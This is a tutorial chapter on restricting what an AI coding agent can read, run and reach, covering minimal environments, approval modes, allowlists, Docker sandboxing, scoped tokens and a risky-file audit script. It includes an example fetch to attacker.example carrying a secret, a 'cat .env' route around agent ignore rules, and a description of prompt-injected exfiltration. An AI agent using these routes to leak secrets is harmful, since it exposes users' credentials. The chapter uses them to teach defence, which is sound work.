Sub topic 9
Controlling what an agent can read, run, and reach
An AI coding agent is more than a chat window. It can read files, run shell commands, edit code, and call other services. Each of those abilities is a way for a secret to leave your machine. This chapter covers how to limit those abilities so a mistake, or a malicious instruction, does less damage.
This chapter assumes you can use Git and a command line, that you have used an AI coding assistant, and that you know what environment variables and API keys are. Earlier chapters covered ignore files and moving secrets into the environment. Here the focus is the agent itself.
The three axes of agent access
Every agent action falls into one of three groups. Controls work best when you think about each group separately.
- Read: which files, directories, and environment variables the agent can see.
- Run: which commands the agent can execute, and with what privileges.
- Reach: which networks, hosts, and external tools the agent can contact.
The groups combine. A read of .env is harmful mainly when the agent can also reach the network, because then the content can be sent somewhere. Removing any one of the three makes many attacks harder.
Reading: limit what enters the workspace
An agent usually reads from the directory where you start it. Start it in the project root, not your home directory. In your home directory it can reach ~/.ssh, ~/.aws, shell history, and browser profiles.
Practical steps:
- Open the agent in the narrowest directory that contains the task.
- Keep ignore rules for
.env, key files, and Terraform state. The.gitignoreexample from the spine covers common cases, but support for a tool-specific ignore file and its syntax varies by tool, so check your tool's documentation. - Treat ignore rules as a request, not a guarantee. A command such as
cat .envrun by the agent can bypass a file-reading filter, because the filter often applies only to the agent's built-in file reader. - Do not give the agent your real environment. Environment variables are inherited by every command it runs.
The last point is easy to miss. If your shell has AWS_SECRET_ACCESS_KEY set and the agent runs env or a test script that prints its environment, the value enters the conversation and is sent to the provider.
# Start the agent with a minimal environment instead of your full shell.
env -i \
HOME="$PWD/.agent-home" \
PATH="/usr/local/bin:/usr/bin:/bin" \
TERM="$TERM" \
your-agent-commandReplace your-agent-command with the program you use. The env -i option clears all inherited variables, and you then add back only the ones the task needs. Some tools need extra variables to run, so add them one at a time if the agent fails to start.
Running: approvals and their limits
Most agents ask for permission before running a command or editing a file. The settings differ by tool, but they usually fall into levels like these.
| Mode | Behavior | Main risk |
|---|---|---|
| Ask every time | You approve each command | Approval fatigue |
| Allowlist | Listed commands run without asking | An allowed command can be abused |
| Auto-approve | The agent runs anything | No human check at all |
| Sandboxed auto-approve | The agent runs freely inside an isolated environment | Escape or misconfigured mounts |
Approval fatigue
If you approve fifty harmless commands in a row, the fifty-first gets less attention. Attackers and accidents both exploit this. Reduce the number of prompts by allowing narrow, read-only commands such as git status, and keep prompts for anything that writes, deletes, or uses the network.
Allowlists must be narrow
Allowing a command name is not the same as allowing what it can do. Consider these allowlist entries:
git diffis low risk.curlcan upload any file to any host.pythonornodecan run arbitrary code, so allowing them is close to allowing everything.findwith-execandxargscan launch other programs.
Prefer allowing exact command lines with fixed arguments over allowing a program by name. Read the full command before approving it. Look for pipes, redirects, $(...) substitutions, and encoded strings, since these can hide a second command inside an innocent-looking one.
Sandboxing the agent
A sandbox limits what the agent can touch even if it runs a harmful command. A container is a common choice for developers. The example below runs an agent's working commands with no network, a read-only root filesystem, and only the project folder mounted.
docker run --rm -it \
--network none \
--read-only \
--tmpfs /tmp \
--cap-drop ALL \
--user 1000:1000 \
-v "$PWD":/work \
-w /work \
python:3.12-slim \
bashWhat each option does:
--network noneremoves network access, so nothing can be uploaded.--read-onlymakes the container's own filesystem read-only.--tmpfs /tmpgives it a scratch area in memory.--cap-drop ALLremoves extra Linux privileges.--user 1000:1000avoids running as root.-v "$PWD":/workmounts only the project. Your home directory and SSH keys are not visible.
Two gotchas apply. First, the mounted project is writable, so a harmful command can still change or delete project files. Commit your work first so Git can recover it. Second, if you need to install packages, you need network access. Do that in a separate setup step, or use an allowlisting proxy, then run the agent with the network off.
Never mount the Docker socket (/var/run/docker.sock) into the container. Access to it gives control of the host.
Reaching: network and tool access
Network access is the exit door for stolen data. An agent that can read a secret but cannot send anything out has a much smaller impact. Choose from these controls, listed from strongest to weakest:
- No network during the agent's session.
- A proxy or firewall that permits only named hosts, such as your package registry and the model provider.
- Approval prompts for each network command.
- No control, relying only on the model's judgment.
Agents also reach other systems through tool servers and extensions. Each one adds capabilities that count as run and reach access. A later chapter covers vetting them. For now, enable only the tools a task needs and disable the rest.
Also consider the browser or web-fetch tool. A fetch to https://attacker.example/?d=<secret> sends data out in the URL, even though it looks like a read. Treat any tool that makes outbound requests as a possible upload path.
Credentials the agent uses
If the agent must call a real service, give it its own identity instead of yours. A separate token for the agent can be limited to one repository, one environment, and read-only actions, and it can be revoked without affecting you. Favor short-lived credentials. The previous chapter on scoped credentials covers how to set these up.
A simple check before each session: if every secret the agent could reach were published today, what would you have to rotate? If the answer is long, reduce what the agent can reach.
A quick audit script
This script lists risky files in a directory before you start an agent there. It is a rough check, not a scanner, and it does not read file contents.
from pathlib import Path
RISKY_NAMES = {".env", "terraform.tfstate", "id_rsa", "id_ed25519"}
RISKY_SUFFIXES = {".pem", ".key", ".p12"}
def find_risky(root: str) -> list[Path]:
hits = []
for path in Path(root).rglob("*"):
if not path.is_file():
continue
name = path.name
if (
name in RISKY_NAMES
or name.startswith(".env.")
or path.suffix in RISKY_SUFFIXES
):
if name != ".env.example":
hits.append(path)
return hits
if __name__ == "__main__":
for hit in find_risky("."):
print(hit)Run it from the folder where you plan to start the agent. Every file it prints is either something to move out of the folder or something to confirm is excluded from the agent's reach.
Common mistakes
- Starting the agent in the home directory.
- Trusting an ignore file without testing whether shell commands bypass it.
- Allowing
curl,python, orbashby name. - Using auto-approve on a laptop that holds real credentials.
- Mounting more of the host than the task needs into a container.
- Reusing your personal admin token for the agent.
Exercise
An agent in your project has an ignore rule for .env, and file-reading is blocked for that path. You have allowed the command cat without prompts. Explain how the secret could still reach the provider, and name two changes that would stop it.
Show answer
The agent can run cat .env through the shell. The ignore rule usually covers only the built-in file reader, so the command succeeds and its output is added to the conversation, which is sent to the provider. Two fixes: remove cat from the allowlist so each use needs approval, and move the real secrets out of the project folder or start the agent in a minimal environment or sandbox where the file is not mounted. Keeping real credentials out of the workspace entirely is the most reliable fix.
Exercise
Why does running an agent in a container with --network none reduce the harm from a prompt injection, and what does it not protect against?
Show answer
With no network, injected instructions cannot send secrets to an outside host, so exfiltration over the network fails. It does not stop damage to the mounted project files, such as deleting or altering them, and it does not protect any secret that is already inside the mounted folder from being printed into the model conversation, which goes through the agent's own connection to the provider.